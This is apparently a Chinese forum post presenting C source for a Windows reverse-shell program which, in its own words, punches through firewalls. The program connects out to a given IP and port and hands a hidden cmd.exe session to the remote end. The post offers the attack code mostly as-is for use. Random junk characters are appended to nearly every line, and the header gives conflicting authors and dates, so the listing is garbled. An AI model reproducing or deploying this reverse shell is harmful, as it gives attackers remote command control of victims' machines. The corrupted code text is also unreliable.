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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 EIQy?ig86  
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/* ============================== :q<%wLs  
Rebound port in Windows NT vh8Kd' y  
By wind,2006/7 s.)w A`&&  
===============================*/ {fv8S;|u  
#include oZ:F3 GQ4Q  
#include _ n4ma  
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#pragma comment(lib,"wsock32.lib") =Gz>ZWF  
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void OutputShell(); R}9jgB  
SOCKET sClient; 2z# @:Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 12xP)*:$  
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void main(int argc,char **argv) 0\nhg5]?  
{ 5yi q#  
WSADATA stWsaData; G5J ZB7C  
int nRet; m (:qZW  
SOCKADDR_IN stSaiClient,stSaiServer; Ec*7n6~9  
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if(argc != 3) NOp=/  
{ 6G$tYfX  
printf("Useage:\n\rRebound DestIP DestPort\n"); R6mJFE*6T9  
return; r~_ /Jj  
} -xIhN?r)  
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WSAStartup(MAKEWORD(2,2),&stWsaData); `1<3Hu_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TbAdTmW  
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stSaiClient.sin_family = AF_INET; $!!=fFX*y  
stSaiClient.sin_port = htons(0); 6_K#,_oZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W?J[K;<  
S_VncTIO  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z*)Y:tk)b  
{ T)tHN#6I  
printf("Bind Socket Failed!\n"); pbxcsA\  
return; >1pH 91c'  
} ={@ @`yP^$  
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stSaiServer.sin_family = AF_INET; @/NZ>.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DLVs>?Y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [HiTR!o*  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y"L`bl A9}  
{ zRE8299%z  
printf("Connect Error!"); UA4d|^ev  
return; LNxE-Dp  
} ]l7\Zq  
OutputShell(); 1\{U<Oli  
} -JhjTA  
Bp{`%86S E  
void OutputShell() 7 +hF;  
{ a;T[%'in  
char szBuff[1024]; y{I[}$k  
SECURITY_ATTRIBUTES stSecurityAttributes; }\L !;6oy  
OSVERSIONINFO stOsversionInfo; yxWMatZ2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SJc@iffS  
STARTUPINFO stStartupInfo; KM(9& 1/  
char *szShell; 9Y@?xn.\  
PROCESS_INFORMATION stProcessInformation; lF"(|n"R  
unsigned long lBytesRead; 9AddF*B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [67E5rk-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !v4j`A;%  
stSecurityAttributes.lpSecurityDescriptor = 0; LI;EfyL  
stSecurityAttributes.bInheritHandle = TRUE; ~ 9~\f  
n ,:.]3v%  
_AB9BQm  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {!eANm'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X<}o> 6|d  
KP d C9H  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "zIq)PY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5h=TV  
stStartupInfo.wShowWindow = SW_HIDE; ^8l3j4  
stStartupInfo.hStdInput = hReadPipe; 3?Eoj95w!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !a&SB*%^I3  
#!u51P1  
GetVersionEx(&stOsversionInfo); g_U~.?Db7  
S O:V|Tfj  
switch(stOsversionInfo.dwPlatformId) eQax ZMU  
{ LSu^#B  
case 1: :Ip:sRz  
szShell = "command.com"; jM1%6  
break; ]F* a PV  
default: CndgfOF  
szShell = "cmd.exe"; (p.3'j(  
break; -0VA!3l  
} Li-(p"  
X*9N[#wu6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `=}UFu  
l*\~ew   
send(sClient,szMsg,77,0); $FusDdCv3  
while(1) d O46~  
{ q&Tn>B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H~dHVQtJZ  
if(lBytesRead) !MJe+.  
{ ,Lun-aMd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^?7dOW  
send(sClient,szBuff,lBytesRead,0);  I`'a'  
} Ds%&Mi  
else c6Aut`dK  
{ mhi90Jc  
lBytesRead=recv(sClient,szBuff,1024,0); pjHRV[`AP  
if(lBytesRead<=0) break; z1'FmwT  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~@4ZV  
} 4o4 =  
} (YYj3#|  
8lWH=kA\  
return; }\u%)uZ  
}
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